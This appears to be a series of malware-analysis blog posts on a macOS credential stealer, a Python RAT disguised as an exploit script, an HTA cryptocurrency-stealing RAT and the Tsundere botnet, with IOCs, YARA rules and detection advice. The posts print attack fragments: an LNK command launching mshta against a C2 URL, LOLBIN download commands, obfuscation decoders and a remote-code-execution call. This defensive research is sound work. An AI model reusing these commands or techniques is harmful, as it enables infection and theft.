DriverFixer0428 macOS Credential Stealer
Executive Summary
This report documents the comprehensive static and dynamic analysis of a macOS credential stealer identified as DriverFixer0428, attributed with high confidence to North Korea's Contagious Interview campaign. The malware masquerades as a legitimate system utility and harvests user credentials through sophisticated social engineering dialogs that impersonate macOS system prompts and Google Chrome permission requests. Stolen credentials are exfiltrated to attacker-controlled infrastructure via Dropbox's cloud storage API.
Dynamic analysis using LLDB debugger revealed multi-layer sandbox evasion capabilities, including VM detection through runtime API checks (sysctlbyname, IOKit, NSScreen) that prevented payload execution in virtualized analysis environments. The malware demonstrates operational security consistent with nation-state threat actors, utilizing legitimate cloud services for command-and-control to evade network-based detection.
Sample Naming Rationale
The sample name "DriverFixer0428" is derived from internal identifiers embedded in the compiled binary by the malware developers. These artifacts were extracted during static analysis:
$ strings DriverFixer | grep -i driverfixer
DriverFixer0428
_TtC15DriverFixer042814ViewController
_TtC15DriverFixer042811AppDelegate
DriverFixer0428.OverlayWindowController
DriverFixer0428/ViewController.swift
The "0428" suffix likely indicates either a build date (April 28th) or an internal version/variant number used by the threat actors to track different builds within their development pipeline.
Sample Identification
SHA-256
9aef4651925a752f580b7be005d91bfb1f9f5dd806c99e10b17aa2e06bf4f7b5
File Type
Mach-O universal binary (x86_64 + ARM64)
Language
Swift / AppKit
Size
234,752 bytes (235 KB)
Bundle ID
chrome.DriverFixer0428
Source Path
DriverFixer0428/ViewController.swift
Attribution Analysis
Assessment
Campaign: Contagious Interview (DPRK/North Korea)
Confidence: Medium-High
Related Families: FlexibleFerret, FrostyFerret, ChromeUpdate, CameraAccess
Attribution Basis
Attribution is based on TTP correlation with publicly documented DPRK campaigns. The specific sample hash was not found in public threat intelligence repositories, suggesting this may be a previously unreported variant.
Network Infrastructure Match
The sample's network indicators exactly match those documented by SentinelOne in their FlexibleFerret analysis (February 2025):
# From SentinelOne FlexibleFerret Report:
21 3.__TEXT.__cstring ascii https://api.ipify.org
39 3.__TEXT.__cstring ascii https://api.dropboxapi.com/oauth2/token
45 3.__TEXT.__cstring ascii https://content.dropboxapi.com/2/files/upload
# From DriverFixer0428 (This Sample):
0x100007370: "https://api.ipify.org"
0x100007460: "https://api.dropboxapi.com/oauth2/token"
0x100007580: "https://content.dropboxapi.com/2/files/upload"
Evidence Summary
Public Threat Intelligence References
SentinelOne: "macOS FlexibleFerret | Further Variants of DPRK Malware Family Unearthed" (February 2025)
Jamf: "FlexibleFerret: macOS Malware Deploys in Fake Job Scams" (November 2025)
NVISO: "Contagious Interview Actors Now Utilize JSON Storage Services" (November 2025)
Sample Identification
SHA-256
9aef4651925a752f580b7be005d91bfb1f9f5dd806c99e10b17aa2e06bf4f7b5
File Type
Mach-O universal binary (x86_64 + ARM64)
Language
Swift / AppKit
Size
234,752 bytes (235 KB)
Bundle ID
chrome.DriverFixer0428
Source Path
DriverFixer0428/ViewController.swift
Technical Analysis
Malware Capabilities
1. Credential Harvesting via Social Engineering
The malware displays convincing fake dialogs designed to trick users into entering their macOS system password. Memory analysis via LLDB extracted the following social engineering strings:
(lldb) x/50s 0x100007680
0x100007680: "Installer wants to make changes."
0x1000076b0: "Enter your password to allow this."
0x1000076e0: "\"Google Chrome\" wants to access your camera"
0x100007710: "After granting Chrome access, websites can ask
to use your camera."
0x1000075f0: "Incorrect password. Please re-enter your password."
0x100007630: "Please enter your password. The password field
The malware uses an OverlayWindowController class to create fullscreen overlay windows, preventing users from interacting with other applications until they provide credentials.
2. Network C2 Infrastructure
Memory analysis revealed the complete network infrastructure used for reconnaissance and exfiltration:
(lldb) memory find -s "ipify" 0x100000000 0x100010000
data found at location: 0x10000737c
0x10000737c: 69 70 69 66 79 2e 6f 72 67 ipify.org
(lldb) memory find -s "dropbox" 0x100000000 0x100010000
data found at location: 0x10000746c
0x10000746c: 64 72 6f 70 62 6f 78 61 70 69 dropboxapi.com/oauth2/token
(lldb) x/30s 0x100007500
0x100007520: "New access token: "
0x100007540: "Error refreshing access token: "
0x100007580: "https://content.dropboxapi.com/2/files/upload"
0x1000075b0: "application/octet-stream"
3. Dropbox Upload Function (Disassembly)
LLDB disassembly of symbol269 revealed the Dropbox API upload implementation, showing construction of HTTP headers and OAuth tokens:
(lldb) dis -s 0x100004374 -c 40
DriverFixer`___lldb_unnamed_symbol269:
0x1000044ac: add x8, x8, #0x580 ; "https://content.dropboxapi.com/2/files/upload"
0x100004520: mov w0, #0x4f50 ; 'PO' (POST)
0x100004524: movk w0, #0x5453, lsl #16 ; 'ST'
0x100004530: bl Foundation.URLRequest.httpMethod.setter
0x100004534: mov x8, #0x6542 ; 'Be' (Bearer)
0x100004538: movk x8, #0x7261, lsl #16 ; 'ar'
0x10000453c: movk x8, #0x7265, lsl #32 ; 'er'
0x100004560: mov x2, #0x7541 ; 'Au' (Authorization)
0x100004564: movk x2, #0x6874, lsl #16 ; 'th'
0x100004588: bl Foundation.URLRequest.setValue(forHTTPHeaderField:)
Dynamic Analysis: VM Detection Mechanism
LLDB debugging sessions confirmed the malware employs runtime API checks for VM detection rather than static string comparisons. This sophisticated evasion technique queries system APIs during execution to identify virtualized environments.
sysctlbyname API Calls
Breakpoints on sysctlbyname captured the following system queries during malware initialization:
(lldb) br set -n "sysctlbyname"
(lldb) run
Process stopped at breakpoint - sysctlbyname
(lldb) x/s $x0
0x19be880d7: "kern.osvariant_status"
(lldb) c
(lldb) x/s $x0
0x1980b3847: "kern.osproductversion"
(lldb) c
(lldb) x/s $x0
0x19828a730: "kern.secure_kernel"
IOKit Registry Queries
IORegistryEntryCreateCFProperty breakpoints revealed hardware property queries used for environment fingerprinting:
(lldb) br set -n "IORegistryEntryCreateCFProperty"
(lldb) c
Process stopped at breakpoint - IORegistryEntryCreateCFProperty
(lldb) po $x1
product-id
(lldb) c
(lldb) po $x1
housing-color
(lldb) c
(lldb) po $x1
IORegistryEntryPropertyKeys
NSScreen Detection Vector
Binary analysis confirmed NSScreen API usage for display-based VM detection:
$ strings DriverFixer | grep -i screen
applicationDidChangeScreenParameters:
mainScreen
$ nm DriverFixer | grep -i screen
U _OBJC_CLASS_$_NSScreen
On Apple Silicon VMs, NSScreen returns identifying information such as "Apple Virtual" display names and VirtualMac2,1 model identifiers that the malware uses to detect analysis environments.
Silent Failure Behavior
When VM detection succeeds, the malware enters an idle event loop without executing its payload. The process remains alive but dormant:
(lldb) process interrupt
(lldb) bt
* thread #1, queue = 'com.apple.main-thread'
frame #0: libsystem_kernel.dylib`mach_msg2_trap + 8
frame #4: CoreFoundation`__CFRunLoopServiceMachPort + 160
frame #5: CoreFoundation`__CFRunLoopRun + 1208
frame #12: AppKit`-[NSApplication run] + 480
frame #13: AppKit`NSApplicationMain + 880
frame #14: DriverFixer`___lldb_unnamed_symbol295 + 36
Sandbox Evasion Summary
Environment
Behavior
Detection Mechanism
Triage Sandbox
Score 4/10 (benign)
Silent evasion - no malicious activity
Apple VM (ARM64)
Idle event loop
sysctlbyname, IOKit, NSScreen APIs
Rosetta (x86_64)
SIGILL crash
Anti-emulation trap instructions
Env Tampering
SIGTRAP crash
Environment variable validation
Binary Structure
LLDB symbol analysis identified 153 functions within the malware. Key symbols include:
(lldb) image lookup -r -n ".*" DriverFixer
153 matches found in DriverFixer:
0x100002ca4: ___lldb_unnamed_symbol229 (1456 bytes) - OAuth token refresh
0x100004374: ___lldb_unnamed_symbol269 (1428 bytes) - Dropbox upload
0x100004bf0: ___lldb_unnamed_symbol295 - Entry point (NSApplicationMain)
(lldb) x/50s 0x100007760
0x100007760: "DriverFixer0428.OverlayWindowController"
0x100007810: "_TtC15DriverFixer042811AppDelegate"
0x1000077a0: "DriverFixer0428/ViewController.swift"
Indicators of Compromise (IOCs)
File Indicators
Type
Value
SHA-256
9aef4651925a752f580b7be005d91bfb1f9f5dd806c99e10b17aa2e06bf4f7b5
Bundle ID
chrome.DriverFixer0428
Network Indicators
Purpose
URL / Domain
IP Recon
https://api.ipify.org
OAuth Token
https://api.dropboxapi.com/oauth2/token
Exfiltration
https://content.dropboxapi.com/2/files/upload
Memory Forensics (LLDB Extraction)
Address
String Evidence
0x100007680
Installer wants to make changes.
0x1000076e0
"Google Chrome" wants to access your camera
0x100007370
https://api.ipify.org
0x100007460
https://api.dropboxapi.com/oauth2/token
0x100007760
DriverFixer0428.OverlayWindowController
MITRE ATT&CK Mapping
Tactic
Technique
Description
Credential Access
T1056.002 GUI Input Capture
Fake dialog captures credentials
Defense Evasion
T1497.001 System Checks
VM detection via sysctlbyname, IOKit
Defense Evasion
T1036.005 Masquerading
Impersonates macOS/Chrome dialogs
Discovery
T1016 System Network Config
Public IP via ipify.org
Exfiltration
T1567.002 Exfil to Cloud
Dropbox API exfiltration
Detection
YARA Rule
rule MacOS_Infostealer_DriverFixer0428 {
meta:
description = "DPRK DriverFixer credential stealer"
author = "Threat Intelligence Team"
threat_actor = "DPRK/Contagious Interview"
strings:
$class1 = "DriverFixer0428" ascii
$class2 = "OverlayWindowController" ascii
$net1 = "api.dropboxapi.com" ascii
$net2 = "content.dropboxapi.com" ascii
$net3 = "api.ipify.org" ascii
$se1 = "Installer wants to make changes" ascii
$se2 = "wants to access your camera" ascii
condition:
(uint32(0) == 0xfeedface or uint32(0) == 0xfeedfacf or
uint32(0) == 0xcafebabe) and
(any of ($class*)) and (2 of ($net*)) and (any of ($se*))}
Conclusion
DriverFixer0428 represents a sophisticated macOS credential stealer attributed to North Korea's Contagious Interview campaign. LLDB dynamic analysis confirmed the malware employs multi-layer sandbox evasion through runtime API checks including sysctlbyname, IOKit registry queries, and NSScreen display detection.
The stark discrepancy between static analysis indicators (clearly malicious code) and dynamic sandbox scores (4/10 "likely benign") underscores why automated sandbox verdicts alone are insufficient for this threat actor's tooling. The malware's silent failure mode - remaining alive but dormant when detecting analysis environments - represents production-grade operational security consistent with nation-state capabilities.
PyRat, but disguised as a Fake React2Shell.py
It all begins with an idea.
I have more of a blog coming but I did find two examples of PyRAT this weekend. One was masquerading as an OSINT tool, with only error messages and no OSINT functionality, hiding its real purpose as a RAT and loading an HTA in memory to drop more malicious binaires.
The second one I looked at is within a script that I origally thought was a react2shell python exploit but is more of a scanner, although it lacks the ability to actually scan. I actually have a video showing that even if it fails on an errror (like in my demo) or if you execute the help menu “python3 react2shell.py —help”, it still executes mshta and reaches out for the HTA Dropper.
Here are some of the code segments that return error messages, which helps the disguise distract the user while the mshta process executes in the background:
And heres another:
At the top of the code, you can see why the RAT executes with or without successful execution of the script, whether its an error or just executing the help menu, which is pretty typical of testers to do before they add all of the operators for the script execution:
So to break this down, this code block below creates the function to execute the HTTP GET Request, which naturally executes mshta.exe to execute the GET, mshta.exe doesn’t have to be defined, it’s just the LOLBIN that executes it by default:
And there is a main() function after all of the scanning functions are defined, but not until line 432:
The execution happens long before this.
The execution starts right after the function for the GET request is defined:
So once again, this is the functionality of the GET request, the beginning of the Malware chain, it loads a HTA Dropper that then drops an implant or implants and likely the Rhadamanthys Stealer,as has been observed before.
To summarize, here are the conditions where the GET Request, essentially the malware part of this script executes, some of these options could cause additional attack chains:
The function is called immediately when Python parses the file, which happens:
- When you run python react2shell.py (before main() ever runs)
- When you run python react2shell.py --help
- When you “import react2shell” from another script
- Even if you just try to syntax-check it with some tools
And here is the Execution Order:
1. Python loads file
2. Parses imports (lines 3-13)
3. Defines _initialize_runtime_environment (lines 15-23)
4. EXECUTES _initialize_runtime_environment() (line 24) = BACKDOOR FIRES
5. Continues parsing rest of file...
6. Eventually reaches main() if run directly
References:
https://www.morphisec.com/blog/pystorerat-a-new-ai-driven-supply-chain-malware-campaign-targeting-it-osint-professionals/
https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys
Announcing “UpdateHub RAT”
It all begins with an idea.
1. Executive Summary
This report documents the analysis of a sophisticated HTML Application (HTA) malware sample designed for cryptocurrency wallet theft and corporate network reconnaissance. The malware employs advanced obfuscation techniques, establishes persistence via Windows Task Scheduler, and communicates with command-and-control (C2) infrastructure using custom-encrypted HTTP traffic.
Key Findings:
Primary targets: Ledger, Trezor, Atomic, Exodus, Guarda, KeepKey, and BitBox02 cryptocurrency wallets
Extensive Active Directory reconnaissance capabilities indicate corporate environment targeting
USB spreading functionality via malicious LNK file replacement
CrowdStrike Falcon detection with execution method modification
C2 dependency: malware requires live C2 server to execute (anti-analysis)
2. Sample Information
Summary of Sample Information
3. Obfuscation Analysis
The malware employs two XOR-based string decoders to hide operational strings from static analysis.
3.1 Primary Decoder (_dgaily)
Decodes the HTA application configuration used to hide the execution window:
Algorithm: XOR with rolling key (index * 137 + 140) & 0xFF
Output: <HTA:APPLICATION BORDER=’none’ SHOWINTASKBAR=’no’ SYSMENU=’no’ WINDOWSTATE=’minimized’>
3.2 Secondary Decoder (_dd7j5a)
Decodes all 271 operational strings including COM objects, WMI queries, file paths, and C2 endpoints.
Algorithm: XOR with rolling key (index * 107 + 218) & 0xFF
4. Command & Control Infrastructure
4.1 C2 Domain Pattern
The malware iterates through 11 C2 domain variants with failover capability:
https://s{i}-updatehub.cc where {i} = 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, (empty)
4.3 Communication Encryption
Request body encrypted with 6-digit random XOR key prepended to payload
Custom Base64 encoding with UTF-16LE conversion
Response uses same XOR + Base64 scheme
JWT token-based authentication (Authorization: Bearer {jwt})
This RAT won’t continue full execution without reaching and then authenticating with the C2 Server
Authentication Required for Contnued Execution
Without Network Authentication with the C2, the furtherst the execution gets is mshta.exe executing the hta and enumeration of the system, but none of the post intial execution beyond that occurs. I tried setting up a fake C2 that could catch the request from the RAT but I can’t or didnt want to spend the time trying to set up the authentication parameters, and since I have the code, the code review provides all I need.
5. Cryptocurrency Wallet Targeting
The malware specifically checks for the presence of popular cryptocurrency wallet applications:
Detection results are transmitted to C2 via ledger=true/false and wallets=true/false parameters in the registration beacon.
6. Persistence Mechanism
The malware establishes persistence via Windows Task Scheduler, masquerading as a legitimate Google Update task.
6.1 Scheduled Task Configuration
6.2 Task Settings
StartWhenAvailable: true
DisallowStartIfOnBatteries: false
StopIfGoingOnBatteries: falWakeToRun: true
RunLevel: 1 (Highest) if admin privileges detected
7. Payload Delivery Methods
The malware employs seven different download methods with automatic fallback to ensure payload delivery success:
8. C2 Task Types
The malware supports the following task types received from the C2 server:
9. Anti-Analysis Techniques
9.1 C2 Dependency (Primary Blocker)
The malware requires a live C2 server to execute any malicious functionality. It iterates through all 11 C2 domain variants and exits silently if none respond with ‘success’. This effectively prevents dynamic analysis in isolated environments.
9.2 Self-Deletion
The zonexi() function deletes the HTA file immediately upon execution using Scripting.FileSystemObject.DeleteFile().
Before execution:
.hta file present before execution “a7ef…”
After Executing UpdateHub RAT:
.hta file is removed, self deletion
9.3 Security Product Detection
When CrowdStrike Falcon is detected, the malware modifies its execution method to use a cmd.exe wrapper: cmd.exe /c start “” /b mshta.exe {url}
9.4 Additional Techniques
Window Hiding: HTA configured with hidden window, plus window.resizeTo(0,0) and window.moveTo(-10000,-10000)
Silent Failures: All code wrapped in try/catch blocks to swallow errors
Admin Detection: Checks HKLM\SECURITY access via StdRegProv.GetSecurityDescriptor
Auto-Close: window.close() called at end of execution
10. USB Spreading Mechanism
Task Type 9 implements USB spreading functionality that targets removable drives.
10.1 Target File Types
.exe, .docx, .pdf, .doc
10.2 Infection Process
Enumerate removable drives (USB, external) via WMI Win32_DiskDrive
Scan for target file types (depth limited to 2 directories)
Hide original files by setting hidden attribute
Create .lnk shortcuts with same base name
Shortcut executes: cmd.exe /c start “” “.\{original}” & start “” mshta “{C2_URL}”
11. Active Directory Reconnaissance
Task Type 5 triggers comprehensive AD reconnaissance, indicating corporate environment targeting:
11.1 Information Collected
11.2 Enumeration Methods
WMI: Win32_ComputerSystem, Win32_NTDomain, Win32_Group, Win32_GroupUser
ADSI: AdsNameSpaces COM object with WinNT:// provider
Environment: LOGONSERVER variable for DC identification
12. Indicators of Compromise (IOCs)
12.1 Network Indicators
https://s[1-10]-updatehub.cc (C2 domains)
https://s-updatehub.cc (C2 domain, no number)
HTTP POST requests with 6-digit prefix + Base64 encoded body
12.2 File System Indicators
%userprofile%\*.exe (downloaded payloads)
%TEMP%\{random9}.txt (command output)
.lnk files replacing documents on USB drives
12.3 Scheduled Tasks
GoogleTaskSystem136.0.7023.12{GUID}
GoogleUpdaterTaskSystem136.1.7023.12{GUID}
12.4 Process Artifacts
mshta.exe spawning cmd.exe, powershell.exe
powershell.exe -ep Bypass -nop
bitsadmin.exe /transfer
certutil.exe -urlcache
rundll32.exe for DLL execution
13. MITRE ATT&CK Mapping
14. Detection Recommendations
14.1 Network Detection
Block/monitor DNS queries and HTTP traffic to *-updatehub.cc domains
Alert on HTTP POST requests with 6-digit numeric prefix in body
Monitor for mshta.exe making external HTTP connections
14.2 Endpoint Detection
Monitor mshta.exe spawning cmd.exe, powershell.exe, or network-related processes
Alert on scheduled task creation with “Google” in name but non-Google executable paths
Detect WMI queries to SecurityCenter2 from scripting hosts
Monitor certutil.exe and bitsadmin.exe used for file downloads
Alert on mass file attribute changes on removable drives
Monitor for LNK file creation alongside hidden files on USB drives
14.3 YARA Detection Strings
$hta1 = “HTA:APPLICATION” ascii $sched1 = “Schedule.Service” ascii $sched2 = “GoogleTaskSystem136” ascii $crypto1 = “Ledger Live” ascii $crypto2 = “@trezor” ascii $wmi1 = “SecurityCenter2” ascii $wmi2 = “Win32_NTDomain” ascii $adsi1 = “WinNT://” ascii
15. Attribution
I used Claude to help verify that I could not find an existing matching Malware Family. Critique and Discussion are appreciated! I dont want to falsely believe I’ve found something new and I try to be very data-driven, reach out if you disagree.
UpdateHub HTA RAT — Malware Family Comparison Analysis
Executive Summary
Based on extensive research, the UpdateHub HTA RAT appears to be a previously unreported or newly emerged malware family. While it shares TTPs with several known threats, it has unique characteristics that distinguish it from existing documented campaigns.
Similar Malware Families Identified
1. Aggah Campaign / Gorgon Group (HIGHEST SIMILARITY)
Similarity Score: 75%
Assessment: The infection chain is very similar to Aggah, but UpdateHub uses custom C2 infrastructure instead of legitimate services and has USB worm capabilities not seen in Aggah.
2. Spora / Gamarue / RETADUP (USB WORM COMPONENT)
Similarity Score: 60%
Assessment: The USB worm technique is nearly identical to Spora/Gamarue’s LNK spreading method, suggesting the author copied this proven technique.
3. KimJongRAT / BabyShark (KOREAN APT)
Similarity Score: 55%
Assessment: Similar focus on crypto wallets and HTA infection chain, but KimJongRAT is attributed to North Korean actors with different infrastructure patterns.
4. StilachiRAT (Microsoft-documented)
Similarity Score: 50%
Assessment: Similar crypto-stealing objectives but completely different codebase and delivery mechanism.
5. Nova Stealer / Odyssey Stealer (macOS Focus)
Similarity Score: 40%
Assessment: Different platform but similar targeting of hardware wallet users.
Unique Characteristics of UpdateHub RAT
These features distinguish UpdateHub from known families:
1. C2 Domain Failover Pattern
s10-updatehub.cc → s9-updatehub.cc → … → s-updatehub.cc
This numbered failover pattern is not commonly seen in documented malware.
2. Fake Google Update Task Names
GoogleTaskSystem136.0.7023.12{GUID}
GoogleUpdaterTaskSystem136.1.7023.12{GUID}
The specific version numbers (136.0.7023.12) appear unique to this family.
3. XOR Encoding with Multiplier
var tetorY = v31af8 * 107 + 218 & 255;
coreve769 += String.fromCharCode(testackS[v31af8] ^ tetorY);
This specific XOR pattern with position-based key generation is distinctive.
4. Combined Capabilities
No other documented family combines ALL of:
HTA-based delivery
USB LNK worm spreading
Crypto wallet detection (hardware wallets)
Extensive AD reconnaissance
CrowdStrike Falcon evasion
Custom XOR-encrypted C2 protocol
5. JWT-Based Authentication
The use of JWT tokens for C2 session authentication is relatively sophisticated for HTA-based malware.
Attribution Assessment
Possible Origins:
Cybercriminal Operation (Most Likely)
Financially motivated (crypto wallet focus)
Uses commodity techniques (copied USB worm code)
Brazilian C2 infrastructure hint (meusitehostgator.com.br in first sample)
No nation-state indicators
Evolution of Aggah/Gorgon Tools
Similar infection chain
Could be same actors with new infrastructure
Different final payload suggests possible code sharing
Commercial Malware-as-a-Service
Version numbering suggests ongoing development (v3.3)
Multiple download fallbacks suggest testing
Task-based modular design
YARA Rule Matching Results
Rules vs Known Families:
The generic rule would also match Aggah and KimJongRAT samples. The detailed rule is specific to UpdateHub and should not false-positive on other families.
Recommendations for Hunting
Search Terms for Existing Intel:
VirusTotal Intelligence:
content:”updatehub” OR content:”GoogleTaskSystem136" OR
content:”PT30M” AND content:”P3650D” AND content:”Schedule.Service”MalwareBazaar:
Tag: hta, crypto-stealer, usb-worm
Signature: Scheduled task with “Google” impersonation
MISP/OpenCTI:
Search for C2: *-updatehub.cc
Search for similar HWID patterns
Passive DNS:
Query: s?-updatehub.cc (where ? = 0–10)
Historical resolution data may reveal infrastructure
Conclusion
UpdateHub RAT appears to be a newly documented threat that combines techniques from multiple known malware families:
Infection chain resembles Aggah campaign
USB worm copied from Spora/Gamarue techniques
Crypto targeting similar to modern stealers like KimJongRAT
Custom C2 protocol with JWT authentication is unique
The malware should be tracked as a distinct family pending discovery of direct code overlaps with known campaigns. The YARA rules provided should help identify related samples in threat intelligence platforms.
References
Unit42 — Aggah Campaign Analysis
G DATA — Spora Ransomware Worm Analysis
Unit42 — KimJongRAT Stealer Variant
Microsoft — StilachiRAT Analysis
Moonlock — Anti-Ledger Malware Campaign
HP Wolf Security — Aggah Campaign Cryptocurrency Stealer
16. Conclusion
This HTA malware represents a professionally developed multi-stage loader and infostealer with the following characteristics:
Strong Evasion: Multiple download methods, hidden execution, security product detection, C2 dependency
Corporate Targeting: Extensive AD reconnaissance suggests enterprise environment focus
Cryptocurrency Focus: Specific wallet detection for theft operations
Self-Propagation: USB spreading via LNK replacement technique
Modular Design: Task-based C2 allows flexible payload deployment
The sophistication level and feature set suggest this is likely part of a commercial malware kit or organized threat actor operation targeting both financial (cryptocurrency) and corporate assets. The C2 dependency serves as both an anti-analysis mechanism and a kill switch, preventing execution in isolated analysis environments.
Tsundere Botnet — Node.js Binary
It all begins with an idea.
The Tsundere botnet, identified by Kaspersky Global Research and Analysis Team (GReAT) in July 2025, represents a sophisticated evolution in cross-platform malware campaigns orchestrated by a Russian-speaking threat actor known as “koneko.” Initially surfacing through a 2024 npm supply-chain attack involving 287 typosquatted Node.js packages, Tsundere has matured into an actively expanding botnet primarily targeting Windows systems. Leveraging blockchain technology for command-and-control (C2) resilience, it enables dynamic execution of arbitrary JavaScript payloads, posing risks of data exfiltration, cryptocurrency theft, and further compromise.
Note: I analyzed this sample on my own, after my analysis I identified the malware as being Tsundre Botnet, based on the activity Kaspersky reported on here: The Tsundere botnet uses the Ethereum blockchain to infect its targets | Securelist. I will be reviewing IOC’s and if the ones I observed are still consistent with what was previously reported.
SHA256: 16e0dbcc6670e7722f68620b6f305e2c4433ed6f7b25174a75480ed5c4b4fe42
This hash was initially reported yesterday, December 3, 2025, and there was no real indicators that this was malicious. Comments also reflected one person believing that this was a benign binary based on analysis from an automated sandbox.
Press enter or click to view image in full size
Sample.js
This JavaScript (JS) code is pretty heavily obfuscated. The obfuscation combines string encryption, control flow flattening, identifier mangling, and runtime decryption, making it challenging to analyze without deobfuscation tools or manual unpacking.
String Obfuscation via Custom Base64 + RC4 Decryption:
Nearly all strings (e.g., URLs, function names, console messages) are stored in encrypted arrays and decrypted at runtime using a hybrid Base64 decoder followed by an RC4 (ARC4) stream cipher. This prevents static string-based signatures (e.g., YARA rules) from triggering.
Implementation Details:
The core decoder is defined in the _0x2905 function (lines ~1–50). It initializes an RC4 key schedule using a user-provided key (_0x3495d6).
Step 1: Base64-like decoding. A mangled Base64 alphabet (‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=’) decodes input into a URI-encoded string (e.g., %XX format), then decodeURIComponent expands it.
Step 2: RC4 decryption. The decoded string is fed into an RC4 keystream generator
// Simplified pseudocode from _0x2905['SbIfNX']
for (let i = 0; i < 256; i++) sbox[i] = i; // Initialize S-box
j = 0;
for (let i = 0; i < 256; i++) {
j = (j + sbox[i] + key.charCodeAt(i % key.length)) % 256;
swap sbox[i] and sbox[j];
}
// Keystream XOR with plaintext
for (let i = 0; i < plaintext.length; i++) {
i_idx = (i + 1) % 256;
j = (j + sbox[i_idx]) % 256;
swap sbox[i_idx] and sbox[j];
k = sbox[(sbox[i_idx] + sbox[j]) % 256];
output += String.fromCharCode(plaintext.charCodeAt(i) ^ k);
}Identifier Mangling with Hexadecimal Names
All variables, functions, and properties use randomized hexadecimal prefixes (e.g., _0x2905, _0x381842, _0x4f8a99). This is generated by tools like javascript-obfuscator, renaming ~90% of identifiers to meaningless shorts.
Implementation Details:
Functions like _0x4f8a() return the string array.
Nested helpers (e.g., _0x56f881(_0x575caf — -0xf5, _0x3c7903) ) compute indices via arithmetic offsets (e.g., arg — 0x17b).
Multiple layers: Outer _0x2905, inner _0x232dae, _0x5cb090, each with its own array and offset math.
Control Flow Flattening with While-Try-Catch Loops
Linear code is “flattened” into opaque predicates — while loops that shift/rotate an array until a computed checksum matches a magic value. This disrupts disassemblers and adds anti-debugging (e.g., infinite loops if tampered).
while(!![]){ // Infinite loop
try {
const _0x1b1805 = parseInt(_0x56f881(0x238, ...)) / 1 + ...; // Compute sum of obfuscated ints
if (_0x1b1805 === _0xad14cc) break; // Magic: 0x704f6 (~458086)
else _0x596a8d['push'](_0x596a8d['shift']()); // Rotate array
} catch { _0x596a8d['push'](_0x596a8d['shift']()); }
}Multi-Layered Obfuscation and Runtime Code Execution
Obfuscation is nested (e.g., _0x2905 calls _0x232dae, which calls _0x5cb090). Dynamic new Function() executes decrypted payloads, enabling further evasion.
Implementation Details:
Layers: 4+ decoders (_0x2905, _0x232dae, _0x5cb090, _0x31de0e). Each has its own array (e.g., _0x41cd62 with 70+ hex keys).
Runtime Eval: In onMessage (lines ~600+), decrypts incoming WebSocket data, then
const _0x33324b = new Function('require', 'global', ..., decrypted_code);
_0x33324b(require, global, ...); // Executes arbitrary JSPayloads include overrides like global.serverSend for C2 callbacks.
AES Encryption: Outbound/inbound messages use AES-256-CBC (crypto module) with runtime keys/IVs (16-byte IV check).
Anti-Analysis and Evasion Techniques
Dynamic Imports: require(‘ws’), require(‘crypto’), require(‘os’), require(‘ethers’) — delays footprint.
Error Handling: Broad try-catch swallows exceptions, logging minimally
Timing/Polling: Ping-pong over WebSocket (30s interval), reconnects on failure (15s timeout).
Platform-Specific: Windows-focused (e.g., wmic queries for UUID, GPU via PowerShell). Collects sysinfo (MAC, BIOS, volume serial) hashed into UUID.
System Fingerprinting
The malware collects victim data:
Username (os.userInfo())
Hostname (os.hostname())
Platform/Architecture
CPU information
GPU information (WMI: Win32_VideoController)
MAC Address (first non-internal interface)
Total Memory
Node.js Version
Windows Edition (WMI: Win32_OperatingSystem)
Volume Serial Number (vol command)
BIOS Information (WMI: SystemBIOS)
System UUID (Registry: MachineGuid)
All data is hashed (SHA256) to create a unique userId in UUID format.
Press enter or click to view image in full size
Connections and Host Enumeration
CIS Country Kill Switch (Ukraine being an exception)
hy (Armenian)
hy-AM (Armenian — Armenia)
az (Azerbaijani)
be (Belarusian)
be-BY (Belarusian — Belarus)
kk (Kazakh)
ky (Kyrgyz)
ky-KG (Kyrgyz — Kyrgyzstan)
ru (Russian)
ru-RU (Russian — Russia)
ru-BY (Russian — Belarus)
ru-KG (Russian — Kyrgyzstan)
ru-MD (Russian — Moldova)
ru-UA (Russian — Ukraine)
tg (Tajik)
uk (Ukrainian)
uk-UA (Ukrainian — Ukraine)
uz (Uzbek)
Remote Code Exection (RCE)
When receiving a message with id=1, the malware:
1. Creates a new Function() with the received code
2. Provides access to: require, global, console
3. Executes the code in a try-catch wrapper
4. Sends results back via serverSend() callback
This allows the C2 server to push arbitrary Node.js code for execution.
Registry Queries:
HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid (System UUID)
HKLM\SYSTEM\CurrentControlSet\Control\SystemInformation\SystemBIOSVersion
When I execute the JS binary in cmd.exe:
Press enter or click to view image in full size
We see it making connections to RPC at multiple different Ethereum Wallet Endpoints. It also gathers host enumeration details as defined earlier in the code review.
The Process Tree:
Press enter or click to view image in full size
Process Tree Breakdown
node.exe (8072)
├── “C:\Program Files\nodejs\node.exe” …16e0dbcc6670e7722f68620b6f305e2c4433ed6f7b25174a75480ed5c4b4fe42.js
│
├── cmd.exe (3812) → powershell.exe “[System.Globalization.CultureInfo]::InstalledUICulture.Name”
│ └── [CIS LOCALE CHECK — Kill Switch]
│
├── cmd.exe (7164) → powershell.exe “Get-WmiObject Win32_VideoController | Select-Object -ExpandProperty Name”
│ └── [GPU FINGERPRINTING]
│
├── cmd.exe (7252) → reg query “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion” /v ProductName
│ └── [WINDOWS EDITION]
│
├── reg.exe (4356) → reg query “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion” /v ProductName
│ └── [WINDOWS EDITION — direct call]
│
├── cmd.exe (4440) → cmd.exe /d /s /c “vol”
│ └── [VOLUME SERIAL NUMBER]
│
├── cmd.exe (7008) → reg query “HKLM\HARDWARE\DESCRIPTION\System\BIOS”
│ └── [BIOS FINGERPRINTING]
│
├── reg.exe (8068) → reg query “HKLM\HARDWARE\DESCRIPTION\System\BIOS”
│ └── [BIOS — direct call]
│
├── cmd.exe (832) → reg query “HKLM\SOFTWARE\Microsoft\Cryptography” /v MachineGuid
│ └── [SYSTEM UUID — Unique identifier]
│
├── reg.exe (7432) → reg query “HKLM\SOFTWARE\Microsoft\Cryptography” /v MachineGuid
│ └── [SYSTEM UUID — direct call]
│
├── cmd.exe (1496) → powershell.exe “[System.Globalization.CultureInfo]::InstalledUICulture.Name”
│ └── [SECOND LOCALE CHECK — possibly in reconnect loop]
│
└── powershell.exe (4) → “[System.Globalization.CultureInfo]::InstalledUICulture.Name”
